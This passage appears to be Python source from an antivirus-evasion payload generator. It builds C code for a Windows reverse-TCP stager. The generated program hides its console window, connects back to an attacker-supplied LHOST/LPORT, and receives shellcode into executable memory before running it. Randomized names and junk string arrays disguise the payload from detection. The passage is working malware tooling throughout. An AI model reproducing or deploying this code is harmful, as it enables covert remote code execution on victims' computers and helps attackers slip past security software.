helpers.obfuscateNum(int(self.required_options["LPORT"][0]), 32)) code += "if ( connect(%s, (struct sockaddr *)&%s, sizeof(%s)) ) %s(%s);" % ( my_socket_name, sock_name, sock_name, punt_name, my_socket_name) code += "return %s;}\n" % (my_socket_name) # build main() code size_name = randomizer.randomString() buffer_name = randomizer.randomString() function_name = randomizer.randomString() my_socket_name = randomizer.randomString() count_name = randomizer.randomString() # obfuscation stuff char_array_name_1 = randomizer.randomString() number_of_strings_1 = random.randint(1, max_num_strings) char_array_name_2 = randomizer.randomString() number_of_strings_2 = random.randint(1, max_num_strings) char_array_name_3 = randomizer.randomString() number_of_strings_3 = random.randint(1, max_num_strings) code += "int main(int argc, char * argv[]) {" code += "ShowWindow( GetConsoleWindow(), SW_HIDE );" code += "ULONG32 %s;" % (size_name) code += "char * %s;" % (buffer_name) code += "int i;" code += "char* %s[%s];" % (char_array_name_1, number_of_strings_1) code += "void (*%s)();" % (function_name) # malloc our first string obfuscation array code += "for (i = 0; i < %s; ++i) %s[i] = malloc (%s);" % ( number_of_strings_1, char_array_name_1, random.randint(max_string_length, global_max_string_length)) code += "%s();" % (winsock_init_name) code += "char* %s[%s];" % (char_array_name_2, number_of_strings_2) code += "SOCKET %s = %s();" % (my_socket_name, wsconnect_name) # malloc our second string obfuscation array code += "for (i = 0; i < %s; ++i) %s[i] = malloc (%s);" % ( number_of_strings_2, char_array_name_2, random.randint(max_string_length, global_max_string_length)) code += "int %s = recv(%s, (char *)&%s, %s, 0);" % ( count_name, my_socket_name, size_name, helpers.obfuscateNum(4, 2)) code += "if (%s != %s || %s <= 0) %s(%s);" % ( count_name, helpers.obfuscateNum( 4, 2), size_name, punt_name, my_socket_name) code += "%s = VirtualAlloc(0, %s + %s, MEM_COMMIT, PAGE_EXECUTE_READWRITE);" % ( buffer_name, size_name, helpers.obfuscateNum(5, 2)) code += "char* %s[%s];" % (char_array_name_3, number_of_strings_3) # first string obfuscation method code += "for (i=0; i<%s; ++i){strcpy(%s[i], %s());}" % ( number_of_strings_1, char_array_name_1, stringGenFunctions[0][0]) # real code code += "if (%s == NULL) %s(%s);" % (buffer_name, punt_name, my_socket_name) code += "%s[0] = 0xBF;" % (buffer_name) code += "memcpy(%s + 1, &%s, %s);" % (buffer_name, my_socket_name, helpers.obfuscateNum(4, 2)) # malloc our third string obfuscation array code += "for (i = 0; i < %s; ++i) %s[i] = malloc (%s);" % ( number_of_strings_3, char_array_name_3, random.randint(max_string_length, global_max_string_length)) # second string obfuscation method code += "for (i=0; i<%s; ++i){strcpy(%s[i], %s());}" % ( number_of_strings_2, char_array_name_2, stringGenFunctions[1][0]) # real code code += "%s = %s(%s, %s + %s, %s);" % ( count_name, recv_all_name, my_socket_name, buffer_name, helpers.obfuscateNum(5, 2), size_name) code += "%s = (void (*)())%s;" % (function_name, buffer_name) code += "%s();" % (function_name) # third string obfuscation method (never called) code += "for (i=0; i<%s; ++i){strcpy(%s[i], %s());}" % ( number_of_strings_3, char_array_name_3, stringGenFunctions[2][0]) code += "return 0;}\n" return code